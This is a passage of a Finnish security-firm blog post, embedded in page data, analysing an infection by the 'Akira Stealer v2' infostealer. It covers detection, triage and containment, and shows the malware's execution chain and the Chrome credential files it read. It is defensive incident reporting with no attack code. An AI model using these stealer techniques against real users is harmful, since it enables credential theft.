[{"data":1,"prerenderedAt":13667},["ShallowReactive",2],{"sc:header-data-fi":3,"sc:footer-data-fi":489,"post-fi--posts-2025-06-16-quiet-breach-1445fe6971adcc":519,"authors_data":13082,"content-fi-list-7b291c2dd91a4":13436,"authors_data:Pascal Asch":13664},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"fi":13},{"title":14,"url":15,"alt":16},"Etusivu","/fi","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"fi":21},{"title":22,"description":23},"Workplace","Microsoft 365 -pohjaiset älykkäät, turvalliset ja joustavat työympäristöt, jotka yhdistävät nykyaikaiset teknologiat ja identiteettipalvelut.",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"fi":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"fi":34},{"title":35,"url":36},"Managed Intune","/fi/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"fi":40},{"title":41,"url":42},"Managed Entra","/fi/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"fi":46},{"title":47,"url":48},"Managed Workplace","/fi/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"fi":52},{"title":53,"url":54},"Consulting Services","/fi/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"fi":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"fi":64},{"title":65,"url":66},"Microsoft Entra Suite","/fi/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"fi":70},{"title":71,"url":72},"Microsoft Intune","/fi/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"fi":76},{"title":77,"url":78},"Microsoft Windows","/fi/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"fi":82},{"title":83,"url":84},"Windows 365 Cloud PC","/fi/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"fi":88},{"title":89,"url":90},"Cloud Workplace Foundation","/fi/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"fi":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"fi":100},{"title":101,"url":102},"Microsoft 365 Copilot","/fi/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"fi":106},{"title":107,"url":108},"Teams","/fi/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"fi":112},{"title":113,"url":114},"SharePoint & Power Platform","/fi/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"fi":118},{"title":119,"url":120},"Exchange Online","/fi/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"fi":124},{"title":125,"url":126},"Information Protection & Compliance","/fi/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"fi":130},{"title":131,"description":132},"Azure","Vauhdita kasvua Azurella: leikkaa pilvikustannuksia, paranna tehokkuutta ja edistä innovaatioita IaaS:n ja PaaS:n avulla.",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"fi":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"fi":142},{"title":143,"url":144},"Azure Managed Services","/fi/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"fi":148},{"title":149,"url":150},"Azure Consulting","/fi/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"fi":154},{"title":155},"Skenaariot",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"fi":160},{"title":161,"url":162},"Suunnittele pilvesi","/fi/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"fi":166},{"title":167,"url":168},"Siirry pilveen","/fi/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"fi":172},{"title":173,"url":174},"Uudista liiketoimintasi","/fi/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"fi":178},{"title":179,"url":180},"Mieti VMware-strategiasi uudelleen","/fi/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"fi":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"fi":190},{"title":191,"url":192},"Azure Foundation","/fi/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"fi":196},{"title":197,"url":198},"Azure AI Foundation","/fi/azure/azure-ai-foundation",{"name":86,"languages":200},{"fi":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"fi":205},{"title":206,"url":207},"Azure Data Foundation","/fi/azure/azure-data-foundation",{"name":188,"languages":209},{"fi":210},{"title":211,"url":212},"Azure Container Foundation","/fi/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"fi":216},{"title":217,"url":218},"Managed Dark Tenant","/fi/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"fi":222},{"title":223,"url":224},"Cloud Adoption Framework","/fi/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"fi":228},{"title":229,"url":230},"Cloud Competence Center","/fi/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"fi":234},{"title":235,"description":236,"emergency":237},"Tietoturva","Valppautta pilvessä palkitulla 24/7-hallintapalvelulla, häiriötilanteiden hallinnalla ja huippuluokan suojauksella infrastruktuurillesi.",{"text":238,"href":239,"skin":240,"icon":241},"Hyökkäyksen kohteena?","/fi/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"fi":249},{"title":250,"url":251},"Managed Red Tenant","/fi/security/managed-red-tenant",{"name":214,"languages":253},{"fi":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"fi":259},{"title":260,"url":261},"Sentinel Data Lake","/fi/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"fi":265},{"title":266,"url":267},"Security Consulting","/fi/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"fi":274},{"title":275,"url":276},"Cloud Security Operations Center","/fi/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"fi":280},{"title":281,"url":282},"Global Secure Access","/fi/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"fi":286},{"title":287,"url":288},"MyWorkID","/fi/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"fi":295},{"title":296,"url":297},"Preventive Services","/fi/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"fi":301},{"title":302,"url":303},"Data Security Service","/fi/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"fi":307},{"title":308,"url":309},"Security Copilot Agents","/fi/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"fi":313},{"title":314,"url":315},"NIS2:n käyttöönotto","/fi/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"fi":319},{"title":320,"description":321},"Tuotteet","Innovatiiviset täydentävät tuotteet täysin turvalliseen, 100-prosenttisesti pilvipohjaiseen Microsoft-ympäristöön, jotka parantavat yhteistyötä, verkon todennusta ja ohjelmistojen hallintaa.",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"fi":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","Pilvipohjainen ohjelmistojen jakelu",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"fi":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","Varmenteiden jakelu pilvestä",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"fi":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Työskentele paikallisten Office 365 -tietojesi kanssa",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"fi":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","Siirrä tietosi palvelimelta toiselle",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"fi":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Terraform Provider Microsoft 365:lle",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"fi":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","Todennus verkollesi",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"fi":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Etsi yhteystietoja Microsoft Teamsista",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"fi":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","Windows Autopilot -valvonta reaaliajassa",{"name":396,"languages":397},"casestudies",{"fi":398},{"title":399,"url":400,"description":401},"Asiakastarinat","/fi/casestudies","Pilven edelläkävijä: paras Microsoft-kumppanisi kattaviin pilviratkaisuihin Blueprint-pohjaisella lähestymistavalla ja Infrastructure-as-Code-osaamisella.",{"name":403,"languages":404,"children":407},"company",{"fi":405},{"title":406,"description":401},"Yritys",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"fi":411},{"title":412},"Tietoa meistä",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"fi":417},{"title":418,"url":419},"Faktat ja luvut","/fi/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"fi":423},{"title":424,"url":425},"Yhteystiedot ja toimipisteet","/fi/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"fi":429},{"title":430,"url":431},"glueckkanja Sveitsi","/fi/company/switzerland",{"name":433,"languages":434},"austria",{"fi":435},{"title":436,"url":437},"glueckkanja Itävalta","/fi/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"fi":441},{"title":442},"Ura",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"fi":447},{"title":448,"url":449},"Urakatsaus","/fi/career",{"name":451,"languages":452},"company-young-professionals",{"fi":453},{"title":454,"url":455},"Young Professionals","/fi/young-professionals",{"name":457,"languages":458},"company-jobs",{"fi":459},{"title":460,"url":461},"Avoimet työpaikat","/fi/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"fi":465},{"title":466},"Uusimmat",[468,474],{"name":469,"languages":470},"company-blog",{"fi":471},{"title":472,"url":473},"Blogi","/fi/blog",{"name":469,"languages":475},{"fi":476},{"title":477,"url":478},"Tapahtumat","/fi/events",[480],{"name":481,"languages":482},"career-meta",{"fi":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"fi":487},{"title":488,"url":425,"active":484},"Yhteystiedot",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksFi":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"Tietosuoja","/fi/privacy",{"title":514,"url":515},"Oikeudelliset tiedot","/fi/imprint",{"title":517,"url":518},"Ei evästeitä","/fi/cookies",{"id":520,"title":521,"author":522,"body":524,"cta":494,"description":535,"eventid":494,"extension":12954,"hideInRecent":484,"layout":12955,"meta":12956,"moment":12960,"navigation":325,"path":13073,"seo":13074,"stem":13075,"tags":13076,"webcast":484,"__hash__":13081},"content_fi/posts/2025-06-16-quiet-breach.md","Akira Stealer sisältä: modulaarisen stealerin täydellinen tekninen analyysi",[523],"Pascal Asch",{"type":525,"value":526,"toc":12809},"minimal",[527,532,536,544,547,566,569,587,597,600,603,627,635,645,655,658,661,676,683,686,689,704,708,710,720,725,728,731,743,752,759,762,768,771,775,777,783,790,793,797,799,802,828,834,840,844,846,849,853,855,858,860,866,869,874,877,887,890,893,913,916,923,930,932,938,941,947,950,985,988,997,1003,1012,1015,1027,1030,1037,1039,1047,1057,1090,1096,1101,1123,1129,1132,1135,1140,1148,1155,1157,1160,1171,1174,1208,1214,1241,1250,1253,1258,1267,1269,1278,1284,1305,1308,1313,1347,1351,1354,1357,1363,1377,1383,1389,1391,1396,1400,1402,1482,1485,1489,1491,1496,1502,1507,1516,1521,1526,1537,1540,1545,1553,1559,1562,1566,1568,1580,1585,1604,1610,1619,1630,1637,1642,1646,1648,1654,1680,1683,1697,1700,1709,1712,1716,1718,1726,1729,1732,1745,1755,1762,1783,1786,1792,1796,1798,1801,1810,1822,1847,1853,1859,1862,1869,1872,1885,1892,1894,1901,1905,1907,1913,2011,2018,2025,2027,2030,2053,2056,2086,2089,2131,2134,2143,2146,2163,2170,2173,2182,2185,2198,2205,2209,2211,2218,2241,2248,2282,2285,2300,2307,2312,2323,2326,2330,2332,2335,2350,2357,2368,2379,2416,2423,2426,2430,2432,2438,2443,2483,2486,2501,2504,2513,2519,2522,2526,2528,2531,2540,2543,2590,2597,2601,2603,2608,2613,2641,2648,2650,2666,2670,2672,2675,2713,2719,2725,2729,2731,2750,2760,2767,2804,2811,2857,2866,2870,2872,2875,2905,2915,2922,2924,2929,2933,2935,2941,2945,2947,2954,2980,2987,3247,3250,3255,3258,3290,3296,3300,3302,3305,3309,3311,3314,3416,3419,3423,3425,3428,3591,3594,3617,3621,3623,3631,3876,3879,3908,3912,3914,3947,3950,3953,3984,3988,3990,3996,4001,4004,4022,4025,4033,4038,4041,4121,4129,4132,4138,4146,4150,4152,4158,4163,4166,4183,4190,4195,4201,4263,4277,4282,4288,4315,4318,4356,4359,4364,4367,4381,4385,4387,4392,4412,4419,4425,4427,4431,4433,4439,4443,4445,4449,4451,4456,4483,4489,4493,4495,4501,4518,4542,4549,4553,4555,4558,4567,4581,4584,4588,4590,4603,4606,4615,4621,4628,4630,4634,4636,4646,4650,4652,4657,4671,4685,4689,4691,4770,4773,4780,4782,4787,4845,4852,4977,4980,5125,5129,5131,5134,5188,5191,5195,5197,5204,5257,5260,5264,5266,5269,5321,5324,5328,5330,5337,5389,5392,5396,5398,5405,5446,5449,5453,5455,5462,5544,5547,5551,5553,5556,5603,5606,5611,5614,5617,5621,5623,5628,5634,5639,5645,5650,5656,5661,5667,5672,6072,6076,6078,6118,6122,6124,6135,6139,6141,6152,6157,6182,6203,6208,6296,6300,6302,6396,6399,6405,6412,6414,6417,6472,6527,6534,6536,6539,6574,6609,6616,6618,6621,6654,6689,6696,6698,6701,6770,6816,6823,6825,6828,6856,6887,6894,6896,6899,6927,6949,6959,6961,6964,6989,7027,7031,7033,7066,7070,7072,7075,7078,7081,7084,7087,7092,7117,7122,7152,7158,7167,7189,7398,7402,7404,7411,7509,7512,7516,7518,7525,7618,7630,7636,7639,7644,7650,7678,7683,7713,7766,7785,7788,7793,7842,7846,7848,7851,7855,7857,7863,7983,8002,8006,8008,8013,8087,8108,8112,8114,8117,8120,8123,8126,8225,8233,8237,8239,8244,8279,8300,8304,8306,8309,8312,8320,8323,8411,8425,8429,8431,8434,8437,8530,8537,8539,8545,8549,8551,8554,8619,8637,8640,8674,8677,8681,8683,8688,8701,8746,8772,8777,8790,8866,8921,8925,8927,8930,8936,8976,8986,8992,9002,9006,9008,9011,9040,9066,9072,9076,9078,9085,9092,9094,9100,9155,9183,9187,9189,9192,9257,9264,9303,9307,9309,9315,9330,9333,9368,9372,9374,9381,9425,9439,9445,9452,9454,9457,9461,9463,9466,9500,9503,9528,9532,9534,9539,9542,9566,9591,9595,9597,9600,9624,9628,9630,9633,9653,9657,9659,9662,9669,9782,9787,9833,9837,9839,9846,9880,9934,9939,9942,9946,9948,9951,9955,9957,9960,9966,9970,9972,9975,10030,10045,10049,10051,10062,10131,10140,10145,10148,10192,10194,10198,10200,10203,10293,10298,10427,10431,10433,10436,10441,10514,10532,10537,10557,10565,10570,10576,10591,10608,10614,10672,10693,10698,10715,10720,10765,10779,10782,10786,10788,10793,10797,10799,10806,10813,10817,10819,10928,10935,10939,10941,10947,10952,11032,11039,11046,11050,11052,11055,11084,11091,11095,11097,11101,11103,11110,11113,11116,11119,11264,11267,11271,11273,11276,11280,11282,11285,11320,11326,11330,11332,11335,11361,11364,11370,11374,11376,11381,11398,11404,11408,11410,11414,11416,11432,11455,11462,11477,11496,11499,11503,11505,11516,11520,11522,11956,11959,11963,11965,11971,11974,11977,11983,11986,11997,12003,12006,12011,12015,12017,12020,12025,12039,12043,12045,12342,12345,12349,12351,12463,12466,12470,12472,12526,12529,12533,12535,12699,12702,12706,12708,12749,12752,12756,12758,12761,12764,12767,12770,12773,12776,12781,12785,12787,12790,12793,12796,12799,12802,12805],[528,529,531],"h1",{"id":530},"prologi","Prologi",[533,534,535],"p",{},"{: .h3-font-size}",[533,537,538,539,543],{},"Kaikki alkoi niin kuin monet nykyajan hyökkäykset alkavat: hiljaa. Matalan luottamustason Defender-hälytys — ",[540,541,542],"strong",{},"\"Suspicious sequence of exploration activities\""," — nousi esiin, kun uutta asiakasta oltiin ottamassa mukaan glueckkanjan Cyber Security Operations Centeriin (CSOC).",[533,545,546],{},"Signatuuriosumia ei ollut. Ei haittaohjelmaluokituksia. Ei reaaliaikaisen suojauksen reaktiota. Vain yksi käyttäytymiseen perustuva korrelaatio Microsoft 365 Defenderissä, hautautuneena kohinaan — ja silti kiistatta väärin.",[533,548,549,550,554,555,558,559,562,563],{},"Hälytystä triagetessani yksi tietty toimenpide kiinnitti huomioni: ",[551,552,553],"code",{},"python.exe"," oli avannut sekä ",[551,556,557],{},"Login Data","- että ",[551,560,561],{},"Web Data"," -tiedostot Chromium-profiilin sisältä. Microsoft Defender nosti tämän välittömästi vakavaksi poikkeamaksi — ",[540,564,565],{},"\"Possible theft of passwords and other sensitive web browser information.\"",[533,567,568],{},"Tämä ei ollut väärä positiivinen. Se oli jäävuoren huippu.",[533,570,571,572,575,576,579,580,583,584,586],{},"Kun jäljitin telemetriaa taaksepäin, löysin geneerisen, käynnistyskansiossa sijainneen binäärin — ",[551,573,574],{},"Updater.exe"," — joka käynnisti NodeJS-pohjaisen kääreen (",[551,577,578],{},"main.exe","). Se puolestaan suoritti komentorivin, joka ajoi ",[551,581,582],{},"astor.py"," -nimisen skriptin ",[551,585,553],{},":n kautta.",[588,589,595],"pre",{"className":590,"code":592,"language":593,"meta":594},[591],"language-text","Updater.exe → main.exe → cmd.exe → python.exe Crypto\\Util\\astor.py\n","text","",[551,596,592],{"__ignoreMap":594},[533,598,599],{},"Skripti ei vain kaapinut tunnistetietoja — se suoritti sarjan murron jälkeisiä tiedusteluvaiheita, muun muassa rekisterikyselyjä, järjestelmän sormenjälkien keräämistä ja oikeustietoista luettelointia. Se toimi kirurgisen tarkasti ja matki järjestelmän omaa käyttäytymistä välttääkseen havaitsemisen. Ja se toimi — melkein.",[533,601,602],{},"Ensimmäisen vasteen hetkellä:",[604,605,606,616,624],"ul",{},[607,608,609,611,612,615],"li",{},[551,610,574],{}," sai osuman vain ",[540,613,614],{},"1 moottorilta 69:stä"," VirusTotalissa.",[607,617,618,620,621,623],{},[551,619,578],{},", ",[551,622,582],{}," ja kaikki niihin liittyvät komponentit eivät käytännössä saaneet osumia VirusTotalissa.",[607,625,626],{},"Yhtäkään tiedostoa ei ollut allekirjoitettu. Ei korotettuja oikeuksia. Vain \"tavallisia\" prosesseja tekemässä hyvin epätavallisia asioita.",[533,628,629,631,632,634],{},[551,630,574],{}," ei koskenut tunnistetietoihin. Se tehtävä oli varattu ",[551,633,582],{},":lle, muistinvaraiselle Python-payloadille — tiedostolle, joka jätti suunnitellusti tuskin lainkaan jälkiä.",[533,636,637,640,641,644],{},[540,638,639],{},"21 minuutissa"," kohteena ollut järjestelmä eristettiin verkosta. ",[540,642,643],{},"70 minuutissa"," tunnistetiedot vaihdettiin kaikissa vaikutuksen kohteena olleissa ympäristöissä: sisäiset identiteetit, SaaS-alustat, kolmansien osapuolten palvelut.",[533,646,647,648,651,654],{},"Todellinen käännekohta tuli kuitenkin, kun purimme Python-payloadin salauksen kokonaan. Löytämämme ei ollut geneerinen stealer — se oli räätälöity toteutus ",[540,649,650],{},"Akira Stealer v2",[652,653],"sta",{},", kaupallisesti Telegramin kautta myytävästä haittaohjelmaperheestä.",[533,656,657],{},"Oman threat intelligence -osaamisemme ja reverse engineering -kyvykkyytemme ansiosta pystyimme rekonstruoimaan haittaohjelman koko toiminnallisuuden, poimimaan kaikki upotetut indikaattorit ja ymmärtämään yksityiskohtaisesti sen vaiheistus-, exfiltraatio- ja tunnistetietojen kohdennuslogiikan.",[533,659,660],{},"Mikä tärkeintä — emme pysähtyneet tekniseen attribuutioon. Menimme pidemmälle.",[533,662,663,664,667,668,671,672,675],{},"Pystyimme toimittamaan asiakkaalle ",[540,665,666],{},"täydellisen aineiston exfiltroiduista tunnistetiedoista",": yli ",[540,669,670],{},"100 uniikkia käyttäjätunnus-salasana-yhdistelmää",", mukaan lukien pääsytiedot pilvipalveluihin, CRM-järjestelmiin, sisäisiin alustoihin ja jopa avainhenkilöiden henkilökohtaisiin työkaluihin. Varastaminen oli jatkunut ",[540,673,674],{},"kuukausia"," — ja pystyimme selvittämään siitä kaiken.",[533,677,678,679,682],{},"Tästä tapauksesta saatujen havaintojen pohjalta rakensimme ",[540,680,681],{},"tartunnan jälkeisen analyysityökalun",", joka skannaa kohteena olleet järjestelmät, rekonstruoi tunnistetietojen käyttökuviot ja tuottaa yksityiskohtaisia forensisia raportteja — kartoittaen tarkalleen, mitä varastettiin, milloin ja mistä.",[533,684,685],{},"Esittelemme skanneria lyhyesti tämän raportin lopussa.",[533,687,688],{},"Sillä tämä on enemmän kuin pelkkä poikkeama.\nNäin me tutkimme. Näin me suojaamme.",[533,690,691,700,703],{},[540,692,693,694,699],{},"Tervetuloa ",[695,696,698],"a",{"href":697},"/fi/security/cloud-security-operations-center/","glueckkanja CSOC:hen",".",[701,702],"br",{},"\nNäin me työskentelemme — koska tietomurrot eivät odota.",[528,705,707],{"id":706},"_1-ensimmäinen-tapahtuma-ja-triage-yhteenveto","1. Ensimmäinen tapahtuma ja triage-yhteenveto",[533,709,535],{},[711,712,714],"ol",{"start":713},31,[607,715,716,717,719],{},"maaliskuuta 2025 Microsoft Defender for Endpoint tuotti Windows 10 64-bittisellä päätelaitteella hälytyksen ",[540,718,542],{},". Aloitin triagen tämän signaalin pohjalta ja tarkastelin kohteena ollutta järjestelmää prosessipuun, järjestelmän aikajanan ja Defenderin korreloimien todisteiden avulla.",[721,722,724],"h2",{"id":723},"_11-aikajanaan-perustuva-triage","1.1 Aikajanaan perustuva triage",[533,726,727],{},"{: .h4-font-size}",[533,729,730],{},"Hälytys osoitti prosessisarjaan, joka vaati tarkempaa tutkimista. Alkutarkastelussa havaitsin seuraavat käyttöoikeudet Chrome-selaimen tietoihin paikallisessa käyttäjäprofiilissa:",[604,732,733,738],{},[607,734,735],{},[551,736,737],{},"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data",[607,739,740],{},[551,741,742],{},"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Web Data",[533,744,745,746,748,749,751],{},"Näiden käytön käynnisti prosessi nimeltä ",[551,747,574],{},". Vaikka Microsoft Defender ei ollut merkinnyt binääriä heuristisen tai käyttäytymisanalyysin perusteella, löysin ",[551,750,574],{},":lle havainnon VirusTotalista — sen oli tuolloin merkinnyt yksi ainoa moottori.",[533,753,754],{},[755,756],"img",{"alt":757,"src":758},"Microsoft Defender","https://res.cloudinary.com/c4a8/image/upload/v1749797184/blog/pics/microsoft-defender.png",[533,760,761],{},"Havaittu suoritusketju kokonaisuudessaan oli seuraava:",[588,763,766],{"className":764,"code":765,"language":593,"meta":594},[591],"winlogon.exe\n└── userinit.exe\n    └── explorer.exe\n        └── Updater.exe\n            └── main.exe\n                └── cmd.exe /d /s /c \"python.exe Crypto\\Util\\astor.py\"\n                    └── python.exe Crypto\\Util\\astor.py\n",[551,767,765],{"__ignoreMap":594},[533,769,770],{},"Tässä vaiheessa mukana olleista tiedostoista ei ollut tehty syvempää staattista tai dynaamista analyysiä. Keskityin ymmärtämään käyttäytymistä ja kontekstia yleisellä tasolla. Prosessien nimet ja tiedostopolut olivat geneerisiä, eikä epäilyttäviä komentoriviargumentteja esiintynyt ketjutetun Python-suorituksen lisäksi.",[721,772,774],{"id":773},"_12-ensimmäinen-vaste","1.2 Ensimmäinen vaste",[533,776,727],{},[533,778,779,782],{},[540,780,781],{},"21 minuutin"," kuluessa ensimmäisestä hälytyksestä eristin isäntäkoneen Defender for Endpointin eristystoiminnoilla. Tavoitteena oli estää mahdollinen leviäminen tai exfiltraatio.",[533,784,785,786,789],{},"Ensimmäisten ",[540,787,788],{},"70 minuutin"," aikana vaihdoimme tunnistetiedot, joiden tiedettiin olevan käytössä kyseisellä isäntäkoneella — kattaen sisäiset järjestelmät, SaaS-alustat ja kriittiset kolmansien osapuolten toimittajat.",[533,791,792],{},"Reverse engineering -prosessi käynnistyi ensimmäisen rajaamisen jälkeen. Seuraavat luvut dokumentoivat teknisen syväsukelluksen, jolla tietomurtoa tutkittiin.",[721,794,796],{"id":795},"_13-vasteen-yhteenveto-nopea-läpinäkyvä-vaikuttavuuslähtöinen","1.3 Vasteen yhteenveto – nopea, läpinäkyvä, vaikuttavuuslähtöinen",[533,798,727],{},[533,800,801],{},"Vasteemme yhdisti nopeuden, asiantuntemuksen ja operatiivisen erinomaisuuden—tukenaan todennetut työnkulut ja täysi läpinäkyvyys asiakkaalle.",[604,803,804,810,816,822],{},[607,805,806,809],{},[540,807,808],{},"Havainnosta täyteen rajaamiseen alle 90 minuutissa","\nDefender-hälytykset, verkkoeristys, virustorjuntaskannaus ja tunnistetietojen mitätöinti toteutettiin nopeasti ja yhteen sovitettuina.",[607,811,812,815],{},[540,813,814],{},"Forensinen syväsukellusvaste 48 tunnissa","\nMukaan lukien täysi levy- ja muistianalyysi, selainartefaktien tarkastelu, tunnistetietojen dumppauksen havaitseminen ja hyökkääjän toiminnan käyttäytymispohjainen rekonstruointi.",[607,817,818,821],{},[540,819,820],{},"Turvallinen datan palautus ja todisteiden käsittely","\nVarastettu data—mukaan lukien evästeet, salasanat, tokenit ja selainprofiilit—palautettiin, arkistoitiin forensisesti ja luovutettiin asiakkaalle turvallisesti.",[607,823,824,827],{},[540,825,826],{},"Läpinäkyvyys ja viestintä päästä päähän","\nJokainen vaihe—ensimmäisestä hälytyksestä korjaustoimiin ja jälkipuintiin—dokumentoitiin täysin, jaettiin reaaliajassa ja tiivistettiin jäsenneltyyn CSIRT-luovutukseen.",[829,830,831],"blockquote",{},[533,832,833],{},"Tämä poikkeama havainnollistaa, miten glueckkanja CSOC ei vain pysäytä haittaohjelmia—vaan purkaa niiden vaikutukset, palauttaa hallinnan asiakkaillemme ja muuttaa jokaisen poikkeaman oivallukseksi.",[835,836],"div",{"className":837},[838,839],"space-top-1","space-bottom-1",[528,841,843],{"id":842},"_2-haittaohjelman-arkkitehtuuri-ja-suoritusketjun-yleiskuva","2. Haittaohjelman arkkitehtuuri ja suoritusketjun yleiskuva",[533,845,535],{},[533,847,848],{},"Kohteena olleella päätelaitteella havaittu haittaohjelma noudatti jäsenneltyä, monivaiheista arkkitehtuuria, jossa vastuut oli selkeästi eroteltu: jakelu, dekoodaus, suoritus ja datan exfiltraatio.",[721,850,852],{"id":851},"_21-suoritusketjun-yleiskuva","2.1 Suoritusketjun yleiskuva",[533,854,727],{},[533,856,857],{},"Havaittu suoritusvirta oli seuraava:",[533,859,574],{},[588,861,864],{"className":862,"code":863,"language":593},[591],"​   └── main.exe\n​       └── cmd.exe\n​           └── python.exe astor.py\n",[551,865,863],{"__ignoreMap":594},[533,867,868],{},"Jokainen ketjun komponentti myötävaikutti huomaamattomuuteen, modulaarisuuteen ja havaitsemisen välttämiseen. Arkkitehtuuri hyödynsi laillisia ajoympäristöjä ja käyttöjärjestelmän vakiotulkkeja ohittaakseen havaitsemismekanismit.",[870,871,873],"h3",{"id":872},"_211-epävarma-alkuperä-puuttuva-alkuvektori","2.1.1 Epävarma alkuperä: puuttuva alkuvektori",[533,875,876],{},"{: .font-size-4}",[533,878,879,880,883,884,699],{},"Vaikka murron jälkeistä ympäristöä analysoitiin laajasti, alkuperäistä hyökkäysvektoria ei pystytty varmuudella määrittämään. Epävarmuus johtuu ensisijaisesti siitä, että haittaohjelma oli ollut aktiivinen arviolta ",[540,881,882],{},"kuusi kuukautta ennen havaitsemista"," — mikä ylittää ",[540,885,886],{},"Microsoft Defender for Endpointin lokien säilytysajan",[533,888,889],{},"Tämän seurauksena alkuperäisestä tartunta-ajankohdasta ei ollut saatavilla telemetriaa eikä forensisia artefakteja. Defenderin aikajanalta tai siihen liittyviltä antureilta ei ollut palautettavissa yhtään jakeluvaiheeseen liittyvää prosessin 